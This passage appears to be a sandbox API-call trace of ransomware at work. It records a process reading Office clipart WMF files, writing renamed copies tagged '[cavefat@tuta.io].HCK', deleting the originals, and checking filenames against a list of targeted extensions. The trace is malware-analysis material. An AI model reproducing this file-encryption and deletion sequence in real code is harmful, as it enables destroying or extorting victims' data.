lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.591] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.592] GetLastError () returned 0x0 [0239.592] ReadFile (in: hFile=0x55c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1d08, lpOverlapped=0x0) returned 1 [0239.593] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1d10, lpOverlapped=0x0) returned 1 [0239.594] ReadFile (in: hFile=0x55c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.594] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.594] SetEndOfFile (hFile=0x4c0) returned 1 [0239.594] CloseHandle (hObject=0x4c0) returned 1 [0239.594] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.594] SetEndOfFile (hFile=0x55c) returned 1 [0239.596] CloseHandle (hObject=0x55c) returned 1 [0239.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0239.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.597] lstrlenW (lpString=".doc") returned 4 [0239.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".docx") returned 5 [0239.598] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0239.598] lstrlenW (lpString=".pdf") returned 4 [0239.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".xls") returned 4 [0239.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.598] lstrlenW (lpString=".xlsx") returned 5 [0239.598] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0239.598] lstrlenW (lpString=".ppt") returned 4 [0239.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".zip") returned 4 [0239.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.598] lstrlenW (lpString=".rar") returned 4 [0239.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".bz2") returned 4 [0239.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".7z") returned 3 [0239.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".dbf") returned 4 [0239.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".1cd") returned 4 [0239.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".jpg") returned 4 [0239.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".doc") returned 4 [0239.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".docx") returned 5 [0239.598] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0239.598] lstrlenW (lpString=".pdf") returned 4 [0239.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString=".xls") returned 4 [0239.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.598] lstrlenW (lpString=".xlsx") returned 5 [0239.598] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0239.598] lstrlenW (lpString=".ppt") returned 4 [0239.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.598] lstrlenW (lpString=".zip") returned 4 [0239.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.598] lstrlenW (lpString=".rar") returned 4 [0239.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.599] lstrlenW (lpString=".bz2") returned 4 [0239.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.599] lstrlenW (lpString=".7z") returned 3 [0239.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.599] lstrlenW (lpString=".dbf") returned 4 [0239.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.599] lstrlenW (lpString=".1cd") returned 4 [0239.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0239.599] lstrlenW (lpString=".jpg") returned 4 [0239.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.599] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.599] lstrlenW (lpString="J0160590.WMF") returned 12 [0239.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.600] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=29406) returned 1 [0239.600] CloseHandle (hObject=0x55c) returned 1 [0239.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 0x220 [0239.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.601] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.602] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.602] GetLastError () returned 0x0 [0239.602] ReadFile (in: hFile=0x55c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x72de, lpOverlapped=0x0) returned 1 [0239.606] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x72e0, lpOverlapped=0x0) returned 1 [0239.607] ReadFile (in: hFile=0x55c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.607] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.607] SetEndOfFile (hFile=0x4c0) returned 1 [0239.750] CloseHandle (hObject=0x4c0) returned 1 [0239.750] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.750] SetEndOfFile (hFile=0x55c) returned 1 [0239.752] CloseHandle (hObject=0x55c) returned 1 [0239.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0240.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.321] lstrlenW (lpString=".doc") returned 4 [0240.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.321] lstrlenW (lpString=".docx") returned 5 [0240.321] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0240.321] lstrlenW (lpString=".pdf") returned 4 [0240.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.321] lstrlenW (lpString=".xls") returned 4 [0240.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.321] lstrlenW (lpString=".xlsx") returned 5 [0240.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0240.321] lstrlenW (lpString=".ppt") returned 4 [0240.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.321] lstrlenW (lpString=".zip") returned 4 [0240.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.322] lstrlenW (lpString=".rar") returned 4 [0240.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".bz2") returned 4 [0240.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".7z") returned 3 [0240.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".dbf") returned 4 [0240.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".1cd") returned 4 [0240.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".jpg") returned 4 [0240.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".doc") returned 4 [0240.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".docx") returned 5 [0240.322] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0240.322] lstrlenW (lpString=".pdf") returned 4 [0240.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".xls") returned 4 [0240.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.322] lstrlenW (lpString=".xlsx") returned 5 [0240.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0240.322] lstrlenW (lpString=".ppt") returned 4 [0240.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".zip") returned 4 [0240.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.322] lstrlenW (lpString=".rar") returned 4 [0240.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".bz2") returned 4 [0240.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString=".7z") returned 3 [0240.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".dbf") returned 4 [0240.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".1cd") returned 4 [0240.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0240.322] lstrlenW (lpString=".jpg") returned 4 [0240.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.323] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.323] lstrlenW (lpString="J0174315.WMF") returned 12 [0240.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.357] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5864) returned 1 [0240.357] CloseHandle (hObject=0x4b4) returned 1 [0240.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 0x220 [0240.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.358] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.358] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.359] GetLastError () returned 0x0 [0240.359] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x16e8, lpOverlapped=0x0) returned 1 [0240.361] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x16f0, lpOverlapped=0x0) returned 1 [0240.361] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.362] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.362] SetEndOfFile (hFile=0x4bc) returned 1 [0240.362] CloseHandle (hObject=0x4bc) returned 1 [0240.362] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.362] SetEndOfFile (hFile=0x4b4) returned 1 [0240.364] CloseHandle (hObject=0x4b4) returned 1 [0240.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0240.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.365] lstrlenW (lpString=".doc") returned 4 [0240.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.365] lstrlenW (lpString=".docx") returned 5 [0240.365] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.365] lstrlenW (lpString=".pdf") returned 4 [0240.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.365] lstrlenW (lpString=".xls") returned 4 [0240.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.366] lstrlenW (lpString=".xlsx") returned 5 [0240.366] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.366] lstrlenW (lpString=".ppt") returned 4 [0240.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".zip") returned 4 [0240.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.366] lstrlenW (lpString=".rar") returned 4 [0240.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".bz2") returned 4 [0240.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".7z") returned 3 [0240.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".dbf") returned 4 [0240.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".1cd") returned 4 [0240.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".jpg") returned 4 [0240.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".doc") returned 4 [0240.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".docx") returned 5 [0240.366] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.366] lstrlenW (lpString=".pdf") returned 4 [0240.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".xls") returned 4 [0240.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.366] lstrlenW (lpString=".xlsx") returned 5 [0240.366] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.366] lstrlenW (lpString=".ppt") returned 4 [0240.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".zip") returned 4 [0240.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.366] lstrlenW (lpString=".rar") returned 4 [0240.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".bz2") returned 4 [0240.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString=".7z") returned 3 [0240.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".dbf") returned 4 [0240.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.366] lstrlenW (lpString=".1cd") returned 4 [0240.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0240.367] lstrlenW (lpString=".jpg") returned 4 [0240.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.367] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.367] lstrlenW (lpString="J0174635.WMF") returned 12 [0240.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.368] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9736) returned 1 [0240.368] CloseHandle (hObject=0x4b4) returned 1 [0240.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 0x220 [0240.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.369] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.369] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 